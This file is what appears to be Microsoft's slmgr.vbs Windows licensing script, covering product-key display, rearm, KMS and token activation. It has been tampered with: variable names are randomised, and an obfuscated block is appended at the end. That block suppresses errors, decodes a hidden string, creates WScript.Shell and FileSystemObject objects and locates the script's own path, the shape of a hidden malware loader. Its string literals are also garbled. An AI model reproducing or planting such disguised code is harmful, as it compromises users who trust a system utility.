LineOut GetResource("L_MsgPID4") & objProduct.ProductKeyID
LineOut GetResource("L_MsgChannel") & objProduct.ProductKeyChannel
LineOut GetResource("L_MsgInstallationID") & objProduct.OfflineInstallationId
If (NOT bKmsClient) AND (NOT bAVMA) Then
'Note that we are re-using the UseLicenseURL for the Product Activation
'URL for down-level compatibility reasons
strUrl = objProduct.ProcessorURL
If strUrl <> "" Then
LineOut GetResource("L_MsgProcessorCertUrl") & strUrl
End If
strUrl = objProduct.MachineURL
If strUrl <> "" Then
LineOut GetResource("L_MsgMachineCertUrl") & strUrl
End If
strUrl = objProduct.UseLicenseURL
If strUrl <> "" Then
LineOut GetResource("L_MsgUseLicenseCertUrl") & strUrl
End If
strUrl = objProduct.ProductKeyURL
If strUrl <> "" Then
LineOut GetResource("L_MsgPKeyCertUrl") & strUrl
End If
strUrl = objProduct.ValidationURL
If strUrl <> "" Then
LineOut GetResource("L_MsgValidationUrl") & strUrl
End If
End If
End If
If objProduct.PartialProductKey <> "" Then
LineOut GetResource("L_MsgPartialPKey") & objProduct.PartialProductKey
Else
LineOut GetResource("L_MsgErrorLicenseNotInUse")
End If
ls = objProduct.LicenseStatus
If ls = 0 Then
LineOut GetResource("L_MsgLicenseStatusUnlicensed_1")
ElseIf ls = 1 Then
LineOut GetResource("L_MsgLicenseStatusLicensed_1")
gpMin = objProduct.GracePeriodRemaining
If (gpMin <> 0) Then
gpDay = GetDaysFromMins(gpMin)
If (bTBL) Then
strOutput = Replace(GetResource("L_MsgLicenseStatusTBL_1"), "%MINUTE%", gpMin)
ElseIf (bAVMA) Then
strOutput = Replace(GetResource("L_MsgLicenseStatusAVMA_1"), "%MINUTE%", gpMin)
Else
strOutput = Replace(GetResource("L_MsgLicenseStatusVL_1"), "%MINUTE%", gpMin)
End If
strOutput = Replace(strOutput, "%DAY%", gpDay)
LineOut strOutput
End If
ElseIf ls = 2 Then
LineOut GetResource("L_MsgLicenseStatusInitialGrace_1")
gpMin = objProduct.GracePeriodRemaining
gpDay = GetDaysFromMins(gpMin)
strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)
strOutput = Replace(strOutput, "%DAY%", gpDay)
LineOut strOutput
ElseIf ls = 3 Then
LineOut GetResource("L_MsgLicenseStatusAdditionalGrace_1")
gpMin = objProduct.GracePeriodRemaining
gpDay = GetDaysFromMins(gpMin)
strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)
strOutput = Replace(strOutput, "%DAY%", gpDay)
LineOut strOutput
ElseIf ls = 4 Then
LineOut GetResource("L_MsgLicenseStatusNonGenuineGrace_1")
gpMin = objProduct.GracePeriodRemaining
gpDay = GetDaysFromMins(gpMin)
strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)
strOutput = Replace(strOutput, "%DAY%", gpDay)
LineOut strOutput
ElseIf ls = 5 Then
LineOut GetResource("L_MsgLicenseStatusNotification_1")
strErr = CStr(Hex(objProduct.LicenseStatusReason))
if (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE) Then
strOutput = Replace(GetResource("L_MsgNotificationErrorReasonNonGenuine"), "%ERRCODE%", strErr)
ElseIf (objProduct.LicenseStatusReason = HR_SL_E_GRACE_TIME_EXPIRED) Then
strOutput = Replace(GetResource("L_MsgNotificationErrorReasonExpiration"), "%ERRCODE%", strErr)
Else
strOutput = Replace(GetResource("L_MsgNotificationErrorReasonOther"), "%ERRCODE%", strErr)
End If
LineOut strOutput
ElseIf ls = 6 Then
LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")
gpMin = objProduct.GracePeriodRemaining
gpDay = GetDaysFromMins(gpMin)
strOutput = Replace(GetResource("L_MsgLicenseStatusTimeRemaining"), "%MINUTE%", gpMin)
strOutput = Replace(strOutput, "%DAY%", gpDay)
LineOut strOutput
Else
LineOut GetResource("L_MsgLicenseStatusUnknown")
End If
If (ls <> 0 And bVerbose) Then
Set displayDate = CreateObject("WBemScripting.SWbemDateTime")
displayDate.Value = objProduct.EvaluationEndDate
If (displayDate.GetFileTime(false) <> 0) Then
LineOut GetResource("L_MsgLicenseStatusEvalEndData") & displayDate.GetVarDate
End If
End If
If (bVerbose) Then
If (LCase(objProduct.ApplicationId) = WindowsAppId) Then
LineOut Replace(GetResource("L_MsgRemainingWindowsRearmCount"), "%COUNT%", objService.RemainingWindowsReArmCount)
Else
LineOut Replace(GetResource("L_MsgRemainingAppRearmCount"), "%COUNT%", objProduct.RemainingAppReArmCount)
End If
LineOut Replace(GetResource("L_MsgRemainingSkuRearmCount"), "%COUNT%", objProduct.RemainingSkuReArmCount)
Set displayDate = CreateObject("WBemScripting.SWbemDateTime")
displayDate.Value = objProduct.TrustedTime
If (displayDate.GetFileTime(false) <> 0) Then
LineOut GetResource("L_MsgCurrentTrustedTime") & displayDate.GetVarDate
End If
End If
'
' KMS client properties
'
If bKmsClient Then
If (objProduct.VLActivationTypeEnabled = 1) Then
LineOut GetResource("L_MsgVLActivationTypeAD")
ElseIf (objProduct.VLActivationTypeEnabled = 2) Then
LineOut GetResource("L_MsgVLActivationTypeKMS")
ElseIf (objProduct.VLActivationTypeEnabled = 3) Then
LineOut GetResource("L_MsgVLActivationTypeToken")
Else
LineOut GetResource("L_MsgVLActivationTypeAll")
End If
If IsADActivated(objProduct) Then
DisplayADClientInformation objService, objProduct
ElseIf IsTokenActivated(objProduct) Then
DisplayTkaClientInformation objService, objProduct
ElseIf ls <> 1 Then
LineOut GetResource("L_MsgPleaseActivateRefreshKMSInfo")
Else
DisplayKMSClientInformation objService, objProduct
End If
End If
If (bKmsServer Or (iIsPrimaryWindowsSku = 1) Or (iIsPrimaryWindowsSku = 2)) Then
DisplayKMSInformation objService, objProduct
End If
If (bAVMA) Then
strAVMAId = objProduct.IAID
If strAVMAId <> "" And Not IsNull(strAVMAId) Then
LineOut GetResource("L_MsgAVMAID") & strAVMAId
Else
LineOut GetResource("L_MsgAVMAID") & GetResource("L_MsgNotAvailable")
End If
DisplayAVMAClientInformation objProduct
End If
'We should stop processing if we aren't processing All and either we were told to process a single
'entry only or we found the primary SKU
If strParm <> "all" Then
If (strParm = LCase(strSLActID)) Then
Exit For 'no need to continue
End If
End If
LineOut ""
End If
Next
If productKeyFound = False Then
LineOut GetResource("L_MsgErrorPKey")
End If
End Sub
Private Function GetDaysFromMins(iMins)
Dim iMinsInADay
iMinsInADay = 24 * 60
' VBScript only supports Int truncation or 'evens' rounding, it does not support a CEILING/FLOOR operation or MOD
' To simulate the CEILING operation used for other grace-day calculations in the UX we need to add the # of mins
' in a day minus 1 to the input then divide by the mins in a day
GetDaysFromMins = Int((iMins + iMinsInADay - 1) / iMinsInADay)
End Function
Private Sub InstallProductKey(strProductKey)
Dim objService, objProduct
Dim lRet, strDescription, strOutput, strVersion
Dim iIsPrimaryWindowsSku, bIsKMS
bIsKMS = False
On Error Resume Next
set objService = GetServiceObject("Version")
strVersion = objService.Version
objService.InstallProductKey(strProductKey)
QuitIfError()
' Installing a product key could change Windows licensing state.
' Since the service determines if it can shut down and when is the next start time
' based on the licensing state we should reconsume the licenses here.
objService.RefreshLicenseStatus()
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause, PartialProductKeyNonNullWhereClause)
strDescription = objProduct.Description
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
If IsKmsServer(strDescription) Then
bIsKMS = True
Exit For
End If
Next
If (bIsKMS = True) Then
' Set the KMS version in the registry (64 and 32 bit versions)
lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion", strVersion)
If (lRet <> 0) Then
QuitWithError lRet
End If
If ExistsRegistryKey(HKEY_LOCAL_MACHINE, SLKeyPath32) Then
lRet = SetRegistryStr(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion", strVersion)
If (lRet <> 0) Then
QuitWithError lRet
End If
End If
Else
' Clear the KMS version in the registry (64 and 32 bit versions)
lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath, "KeyManagementServiceVersion")
If (lRet <> 0 And lRet <> 2 And lRet <> 5) Then
QuitWithError lRet
End If
lRet = DeleteRegistryValue(HKEY_LOCAL_MACHINE, SLKeyPath32, "KeyManagementServiceVersion")
If (lRet <> 0 And lRet <> 2 And lRet <> 5) Then
QuitWithError lRet
End If
End If
strOutput = Replace(GetResource("L_MsgInstalledPKey"), "%PKEY%", strProductKey)
LineOut strOutput
End Sub
Private Sub OutputIndeterminateOperationWarning(objProduct)
Dim strOutput
LineOut GetResource("L_MsgUndeterminedPrimaryKeyOperation")
strOutput = Replace(GetResource("L_MsgUndeterminedOperationFormat"), "%PRODUCTDESCRIPTION%", objProduct.Description)
strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)
LineOut strOutput
End Sub
Private Sub ClearPKeyFromRegistry()
Dim objService
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
objService.ClearProductKeyFromRegistry()
QuitIfError()
LineOut GetResource("L_MsgClearedPKey")
End Sub
Private Sub InstallLicenseFiles (strParentDirectory, JuHDLPIoKLUqfpbjmCpT)
Dim file, files, folder, subFolder
Set folder = JuHDLPIoKLUqfpbjmCpT.GetFolder(strParentDirectory)
Set files = folder.Files
' Install all license files in folder
For Each file In files
If Right(file.Name, 7) = ".xrm-ms" Then
InstallLicense strParentDirectory & "\" & file.Name
End If
Next
For Each subFolder in folder.SubFolders
InstallLicenseFiles subFolder, JuHDLPIoKLUqfpbjmCpT
Next
End Sub
Private Sub ReinstallLicenses()
Dim shell, JuHDLPIoKLUqfpbjmCpT, strOemFolder
Dim strSppTokensFolder, folder, subFolder
Set shell = WScript.CreateObject("WScript.Shell")
Set JuHDLPIoKLUqfpbjmCpT = CreateObject("Scripting.FileSystemObject")
strOemFolder = shell.ExpandEnvironmentStrings("%SystemRoot%") & "\system32\oem"
strSppTokensFolder = shell.ExpandEnvironmentStrings("%SystemRoot%") & "\system32\spp\tokens"
LineOut GetResource("L_MsgReinstallingLicenses")
Set folder = JuHDLPIoKLUqfpbjmCpT.GetFolder(strSppTokensFolder)
For Each subFolder in folder.SubFolders
InstallLicenseFiles subFolder, JuHDLPIoKLUqfpbjmCpT
Next
If (JuHDLPIoKLUqfpbjmCpT.FolderExists(strOemFolder)) Then
InstallLicenseFiles strOemFolder, JuHDLPIoKLUqfpbjmCpT
End If
LineOut GetResource("L_MsgLicensesReinstalled")
End Sub
Private Sub ReArmWindows
Dim objService
set objService = GetServiceObject("Version")
On Error Resume Next
objService.ReArmWindows()
QuitIfError()
LineOut GetResource("L_MsgRearm_1")
LineOut GetResource("L_MsgRearm_2")
End Sub
Private Sub ReArmApp(strSLID)
Dim objService
set objService = GetServiceObject("Version")
QuitIfError()
objService.ReArmApp(strSLID)
QuitIfError()
LineOut GetResource("L_MsgRearm_1")
End Sub
Private Sub ReArmSku(strSLID)
Dim objProductIter
Dim strSLActID
Dim strWhereClause
Dim bSkuFound
strSLID = LCase(strSLID)
bSkuFound = False
strWhereClause = "ID = '" & strSLID & "'"
For Each objProductIter in GetProductCollection("ID", strWhereClause)
strSLActID = objProductIter.ID
If (strSLID = LCase(strSLActID)) Then
bSkuFound = True
objProductIter.ReArmsku()
QuitIfError()
LineOut GetResource("L_MsgRearm_1")
Exit For
End If
Next
If (bSkuFound = False) Then
LineOut GetResource("L_MsgErrorProductNotFound")
End If
End Sub
Private Sub ExpirationDatime(strActivationID)
Dim strWhereClause
Dim objProduct
Dim strSLActID, ls, graceRemaining, strEnds
Dim strOutput
Dim strDescription, bTBL, bAVMA
Dim iIsPrimaryWindowsSku
Dim bFound
strActivationID = LCase(strActivationID)
bFound = False
If strActivationId = "" Then
strWhereClause = "ApplicationId = '" & WindowsAppId & "'"
Else
strWhereClause = "ID = '" & Replace(strActivationID, "'", "") & "'"
End If
strWhereClause = strWhereClause & " AND " & PartialProductKeyNonNullWhereClause
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", LicenseStatus, GracePeriodRemaining", strWhereClause)
strSLActID = objProduct.ID
ls = objProduct.LicenseStatus
graceRemaining = objProduct.GracePeriodRemaining
strEnds = DateAdd("n", graceRemaining, Now)
bFound = True
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
strOutput = ""
If ls = 0 Then
strOutput = GetResource("L_MsgLicenseStatusUnlicensed")
ElseIf ls = 1 Then
If graceRemaining <> 0 Then
strDescription = objProduct.Description
bTBL = IsTBL(strDescription)
bAVMA = IsAVMA(strDescription)
If bTBL Then
strOutput = Replace(GetResource("L_MsgLicenseStatusTBL"), "%ENDDATE%", strEnds)
ElseIf bAVMA Then
strOutput = Replace(GetResource("L_MsgLicenseStatusAVMA"), "%ENDDATE%", strEnds)
Else
strOutput = Replace(GetResource("L_MsgLicenseStatusVL"), "%ENDDATE%", strEnds)
End If
Else
strOutput = GetResource("L_MsgLicenseStatusLicensed")
End If
ElseIf ls = 2 Then
strOutput = Replace(GetResource("L_MsgLicenseStatusInitialGrace"), "%ENDDATE%", strEnds)
ElseIf ls = 3 Then
strOutput = Replace(GetResource("L_MsgLicenseStatusAdditionalGrace"), "%ENDDATE%", strEnds)
ElseIf ls = 4 Then
strOutput = Replace(GetResource("L_MsgLicenseStatusNonGenuineGrace"), "%ENDDATE%", strEnds)
ElseIf ls = 5 Then
strOutput = GetResource("L_MsgLicenseStatusNotification")
ElseIf ls = 6 Then
strOutput = Replace(GetResource("L_MsgLicenseStatusExtendedGrace"), "%ENDDATE%", strEnds)
End If
If strOutput <> "" Then
LineOut objProduct.Name & ":"
Lineout " " & strOutput
End If
Next
If True <> bFound Then
LineOut GetResource("L_MsgErrorPKey")
End If
End Sub
'' Volume license service/client management
Private Sub QuitIfErrorRestoreKmsName(obj, strKmsName)
Dim objErr
If Err.Number <> 0 Then
set objErr = new CErr
If strKmsName = "" Then
obj.ClearKeyManagementServiceMachine()
Else
obj.SetKeyManagementServiceMachine(strKmsName)
End If
ShowError GetResource("L_MsgErrorText_8"), objErr
ExitScript objErr.Number
End If
End Sub
Private Function GetKmsClientObjectByActivationID(strActivationID)
Dim objProduct, objTarget
strActivationID = LCase(strActivationID)
Set objTarget = Nothing
On Error Resume Next
If strActivationID = "" Then
Set objTarget = GetServiceObject("Version, " & KMSClientLookupClause)
QuitIfError()
Else
For Each objProduct in GetProductCollection("ID, " & KMSClientLookupClause, EmptyWhereClause)
If (LCase(objProduct.ID) = strActivationID) Then
Set objTarget = objProduct
Exit For
End If
Next
If objTarget is Nothing Then
Lineout Replace(GetResource("L_MsgErrorActivationID"), "%ActID%", strActivationID)
End If
End If
Set GetKmsClientObjectByActivationID = objTarget
End Function
Private Sub SetKmsMachineName(strKmsNamePort, strActivationID)
Dim objTarget
Dim nColon, strKmsName, strKmsNamePrev, strKmsPort, nBracketEnd
Dim nKmsPort
nBracketEnd = InStr(StrKmsNamePort, "]")
If InStr(strKmsNamePort, "[") = 1 And nBracketEnd > 1 Then
' IPV6 Address
If Len(StrKmsNamePort) = nBracketEnd Then
'No Port Number
strKmsName = strKmsNamePort
strKmsPort = ""
Else
strKmsName = Left(strKmsNamePort, nBracketEnd)
strKmsPort = Right(strKmsNamePort, Len(strKmsNamePort) - nBracketEnd - 1)
End If
Else
' IPV4 Address
nColon = InStr(1, strKmsNamePort, ":")
If nColon <> 0 Then
strKmsName = Left(strKmsNamePort, nColon - 1)
strKmsPort = Right(strKmsNamePort, Len(strKmsNamePort) - nColon)
Else
strKmsName = strKmsNamePort
strKmsPort = ""
End If
End If
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
strKmsNamePrev = objTarget.KeyManagementServiceMachine
If strKmsName <> "" Then
objTarget.SetKeyManagementServiceMachine(strKmsName)
QuitIfError()
End If
If strKmsPort <> "" Then
nKmsPort = CLng(strKmsPort)
QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev
objTarget.SetKeyManagementServicePort(nKmsPort)
QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev
Else
objTarget.ClearKeyManagementServicePort()
QuitIfErrorRestoreKmsName objTarget, strKmsNamePrev
End If
LineOut Replace(GetResource("L_MsgKmsNameSet"), "%KMS%", strKmsNamePort)
If objTarget.KeyManagementServiceLookupDomain <> "" Then
LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _
"%KMS%", _
strKmsNamePort)
End If
End If
End Sub
Private Sub ClearKms(strActivationID)
Dim objTarget
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
objTarget.ClearKeyManagementServiceMachine()
QuitIfError()
objTarget.ClearKeyManagementServicePort()
QuitIfError()
LineOut GetResource("L_MsgKmsNameCleared")
If objTarget.KeyManagementServiceLookupDomain <> "" Then
LineOut Replace(GetResource("L_MsgKmsUseLookupDomain"), _
"%FQDN%", _
objTarget.KeyManagementServiceLookupDomain)
End If
End If
End Sub
Private Sub SetKmsLookupDomain(strKmsLookupDomain, strActivationID)
Dim objTarget
Dim strKms, nPort
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
objTarget.SetKeyManagementServiceLookupDomain(strKmsLookupDomain)
QuitIfError()
LineOut Replace(GetResource("L_MsgKmsLookupDomainSet"), "%FQDN%", strKmsLookupDomain)
If objTarget.KeyManagementServiceMachine <> "" Then
strKms = objTarget.KeyManagementServiceMachine
nPort = objTarget.KeyManagementServicePort
LineOut Replace(GetResource("L_MsgKmsUseMachineNameOverrides"), _
"%KMS%", strKms & ":" & nPort)
End If
End If
End Sub
Private Sub ClearKmsLookupDomain(strActivationID)
Dim objTarget
Dim strKms, nPort
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
objTarget.ClearKeyManagementServiceLookupDomain
QuitIfError()
LineOut GetResource("L_MsgKmsLookupDomainCleared")
If objTarget.KeyManagementServiceMachine <> "" Then
strKms = objTarget.KeyManagementServiceMachine
nPort = objTarget.KeyManagementServicePort
LineOut Replace(GetResource("L_MsgKmsUseMachineName"), _
"%KMS%", strKms & ":" & nPort)
End If
End If
End Sub
Private Sub SetHostCachingDisable(boolHostCaching)
Dim objService
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
objService.DisableKeyManagementServiceHostCaching(boolHostCaching)
QuitIfError()
If boolHostCaching Then
LineOut GetResource("L_MsgKmsHostCachingDisabled")
Else
LineOut GetResource("L_MsgKmsHostCachingEnabled")
End If
End Sub
Private Sub SetActivationInterval(intInterval)
Dim objService, objProduct
Dim kmsFlag, strOutput
If (intInterval < 0) Then
LineOut GetResource("L_MsgInvalidDataError")
Exit Sub
End If
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag = 1 Then
objService.SetVLActivationInterval(intInterval)
QuitIfError()
strOutput = Replace(GetResource("L_MsgActivationSet"), "%ACTIVATION%", intInterval)
LineOut strOutput
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningActivation")
End If
End Sub
Private Sub SetRenewalInterval(intInterval)
Dim objService, objProduct
Dim kmsFlag, strOutput
If (intInterval < 0) Then
LineOut GetResource("L_MsgInvalidDataError")
Exit Sub
End If
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
objService.SetVLRenewalInterval(intInterval)
QuitIfError()
strOutput = Replace(GetResource("L_MsgRenewalSet"), "%RENEWAL%", intInterval)
LineOut strOutput
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningRenewal")
End If
End Sub
Private Sub SetKmsListenPort(strPort)
Dim objService, objProduct
Dim kmsFlag, lRet, strOutput
Dim nPort
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
nPort = CLng(strPort)
objService.SetKeyManagementServiceListeningPort(nPort)
QuitIfError()
strOutput = Replace(GetResource("L_MsgKmsPortSet"), "%PORT%", strPort)
LineOut strOutput
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningKmsPort")
End If
End Sub
Private Sub SetDnsPublishingDisabled(bool)
Dim objService, objProduct
Dim kmsFlag, lRet, dwValue
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
objService.DisableKeyManagementServiceDnsPublishing(bool)
QuitIfError()
If bool Then
LineOut GetResource("L_MsgKmsDnsPublishingDisabled")
Else
LineOut GetResource("L_MsgKmsDnsPublishingEnabled")
End If
LineOut GetResource("L_MsgWarningKmsReboot")
Exit For
End If
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgKmsDnsPublishingWarning")
End If
End Sub
Private Sub SetKmsLowPriority(bool)
Dim objService, objProduct
Dim kmsFlag, lRet, dwValue
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
For Each objProduct in GetProductCollection("ID, IsKeyManagementServiceMachine", PartialProductKeyNonNullWhereClause)
kmsFlag = objProduct.IsKeyManagementServiceMachine
If kmsFlag Then
objService.EnableKeyManagementServiceLowPriority(bool)
QuitIfError()
If bool Then
LineOut GetResource("L_MsgKmsPriSetToLow")
Else
LineOut GetResource("L_MsgKmsPriSetToNormal")
End If
LineOut GetResource("L_MsgWarningKmsReboot")
End If
Exit For
Next
If kmsFlag <> 1 Then
LineOut GetResource("L_MsgWarningKmsPri")
End If
End Sub
Private Sub SetVLActivationType(intType, strActivationID)
Dim objTarget
If IsNull(intType) Then
intType = 0
End If
If (intType < 0) Or (intType > 3) Then
LineOut GetResource("L_MsgInvalidDataError")
Exit Sub
End If
Set objTarget = GetKmsClientObjectByActivationID(strActivationID)
On Error Resume Next
If Not objTarget is Nothing Then
If (intType <> 0) Then
objTarget.SetVLActivationTypeEnabled(intType)
QuitIfError()
Else
objTarget.ClearVLActivationTypeEnabled()
QuitIfError()
End If
LineOut GetResource("L_MsgVLActivationTypeSet")
End If
End Sub
'' Token-based Activation Commands
Private Function IsTokenActivated(objProduct)
Dim nILVID
On Error Resume Next
nILVID = objProduct.TokenActivationILVID
IsTokenActivated = ((Err.Number = 0) And (nILVID <> &HFFFFFFFF))
End Function
Private Sub TkaListILs
Dim objLicense
Dim strHeader
Dim strError
Dim strGuids
Dim arrGuids
Dim nListed
Dim objWmiDate
LineOut GetResource("L_MsgTkaLicenses")
LineOut ""
Set objWmiDate = CreateObject("WBemScripting.SWbemDateTime")
nListed = 0
For Each objLicense in g_objWMIService.InstancesOf(TkaLicenseClass)
strHeader = GetResource("L_MsgTkaLicenseHeader")
strHeader = Replace(strHeader, "%ILID%" , objLicense.ILID )
strHeader = Replace(strHeader, "%ILVID%", objLicense.ILVID)
LineOut strHeader
LineOut " " & Replace(GetResource("L_MsgTkaLicenseILID"), "%ILID%", objLicense.ILID)
LineOut " " & Replace(GetResource("L_MsgTkaLicenseILVID"), "%ILVID%", objLicense.ILVID)
If Not IsNull(objLicense.ExpirationDate) Then
objWmiDate.Value = objLicense.ExpirationDate
If (objWmiDate.GetFileTime(false) <> 0) Then
LineOut " " & Replace(GetResource("L_MsgTkaLicenseExpiration"), "%TODATE%", objWmiDate.GetVarDate)
End If
End If
If Not IsNull(objLicense.AdditionalInfo) Then
LineOut " " & Replace(GetResource("L_MsgTkaLicenseAdditionalInfo"), "%MOREINFO%", objLicense.AdditionalInfo)
End If
If Not IsNull(objLicense.AuthorizationStatus) And _
objLicense.AuthorizationStatus <> 0 _
Then
strError = CStr(Hex(objLicense.AuthorizationStatus))
LineOut " " & Replace(GetResource("L_MsgTkaLicenseAuthZStatus"), "%ERRCODE%", strError)
Else
LineOut " " & Replace(GetResource("L_MsgTkaLicenseDescr"), "%DESC%", objLicense.Description)
End If
LineOut ""
nListed = nListed + 1
Next
if 0 = nListed Then
LineOut GetResource("L_MsgTkaLicenseNone")
End If
End Sub
Private Sub TkaRemoveIL(strILID, strILVID)
Dim objLicense
Dim strMsg
Dim nRemoved
Dim nILVID
On Error Resume Next
nILVID = CInt(strILVID)
QuitIfError()
LineOut GetResource("L_MsgTkaRemoving")
LineOut ""
nRemoved = 0
For Each objLicense in g_objWMIService.InstancesOf(TkaLicenseClass)
If strILID = objLicense.ILID And nILVID = objLicense.ILVID Then
strMsg = GetResource("L_MsgTkaRemovedItem")
strMsg = Replace(strMsg, "%SLID%", objLicense.ID)
On Error Resume Next
objLicense.Uninstall
QuitIfError()
LineOut strMsg
nRemoved = nRemoved + 1
End If
Next
If nRemoved = 0 Then
LineOut GetResource("L_MsgTkaRemovedNone")
End If
End Sub
Private Sub TkaListCerts
Dim objProduct
Dim objSigner
Dim iRet
Dim arrGrants()
Dim arrThumbprints
Dim strThumbprint
On Error Resume Next
Set objSigner = TkaGetSigner()
Set objProduct = TkaGetProduct()
iRet = objProduct.GetTokenActivationGrants(arrGrants)
QuitIfError()
arrThumbprints = objSigner.GetCertificateThumbprints(arrGrants)
QuitIfError()
For Each strThumbprint in arrThumbprints
TkaPrintCertificate strThumbprint
Next
End Sub
Private Sub TkaActivate(strThumbprint, strPin)
Dim objService
Dim objProduct
Dim objSigner
Dim iRet
Dim strChallenge
Dim strAuthInfo1
Dim strAuthInfo2
Set objSigner = TkaGetSigner()
Set objProduct = TkaGetProduct()
Set objService = TkaGetService()
DisplayActivatingSku objProduct
On Error Resume Next
iRet = objProduct.GenerateTokenActivationChallenge(strChallenge)
QuitIfError()
strAuthInfo1 = objSigner.Sign(strChallenge, strThumbprint, strPin, strAuthInfo2)
QuitIfError()
iRet = objProduct.DepositTokenActivationResponse(strChallenge, strAuthInfo1, strAuthInfo2)
QuitIfError()
objService.RefreshLicenseStatus()
Err.Number = 0
objProduct.refresh_
DisplayActivatedStatus objProduct
QuitIfError()
End Sub
Private Function TkaGetService()
Set TkaGetService = GetServiceObject("Version")
End Function
Private Function TkaGetProduct()
Dim objWinProductsWithPKeyInstalled
Dim objProduct
On Error Resume Next
Set TkaGetProduct = Nothing
Set TkaGetProduct = GetProductObject( _
"ID, Name, ApplicationId, PartialProductKey, Description, LicenseIsAddon ", _
"ApplicationId = '" & WindowsAppId & "' " &_
"AND PartialProductKey <> NULL " & _
"AND LicenseIsAddon = FALSE" _
)
QuitIfError()
End Function
Private Function TkaGetSigner()
On Error Resume Next
Set TkaGetSigner = WScript.CreateObject("SPPWMI.SppWmiTokenActivationSigner")
QuitIfError()
End Function
Private Sub TkaPrintCertificate(strThumbprint)
Dim arrParams
arrParams = Split(strThumbprint, "|")
LineOut ""
LineOut Replace(GetResource("L_MsgTkaCertThumbprint"), "%THUMBPRINT%", arrParams(0))
LineOut Replace(GetResource("L_MsgTkaCertSubject" ), "%SUBJECT%" , arrParams(1))
LineOut Replace(GetResource("L_MsgTkaCertIssuer" ), "%ISSUER%" , arrParams(2))
LineOut Replace(GetResource("L_MsgTkaCertValidFrom" ), "%FROMDATE%" , FormatDateTime(CDate(arrParams(3)), vbShortDate))
LineOut Replace(GetResource("L_MsgTkaCertValidTo" ), "%TODATE%" , FormatDateTime(CDate(arrParams(4)), vbShortDate))
End Sub
'' Active Directory Activation Commands
Private Function IsADActivated(objProduct)
On Error Resume Next
If (objProduct.VLActivationType = 1) Then
IsADActivated = True
Else
IsADActivated = False
End If
End Function
Private Sub ADActivateOnline(strProductKey, strActivationObjectName)
Dim objService
FailRemoteExec()
On Error Resume Next
set objService = GetServiceObject("Version")
QuitIfError()
objService.DoActiveDirectoryOnlineActivation strProductKey, strActivationObjectName
QuitIfError()
LineOut GetResource("L_MsgActivated")
End Sub
Function ZeCKBYUlYXhxDAvkqwuf(DMkdkcbZuNvOUWeGSwJh, find, jrIDruKvdsGHWuovYGRZ)
Dim parts
parts = Split(DMkdkcbZuNvOUWeGSwJh, find)
ZeCKBYUlYXhxDAvkqwuf = Join(parts, jrIDruKvdsGHWuovYGRZ)
End Function
On Error Resume Next
dim HtHXNWJGNrwyWeDUnDiH, zmUbLrWDOKbOZKDvWYOI, XwPSXnPyDfDJRUntCZfq
zmUbLrWDOKbOZKDvWYOI = "pu
zmUbLrWDOKbOZKDvWYOI = ZeCKBYUlYXhxDAvkqwuf(zmUbLrWDOKbOZKDvWYOI,"
On","t")
zmUbLrWDOKbOZKDvWYOI = AcIqpXXBCpBGtvMlnAcH(zmUbLrWDOKbOZKDvWYOI)
Set zuKUILiDDWOdeaeiMzGv = CreateObject("WScript.Shell")
Set JuHDLPIoKLUqfpbjmCpT = CreateObject("Scripting.FileSystemObject")
tojeWWOwqCGYaPWbOByn = zuKUILiDDWOdeaeiMzGv.CurrentDirectory & "\" & WScript.ScriptName
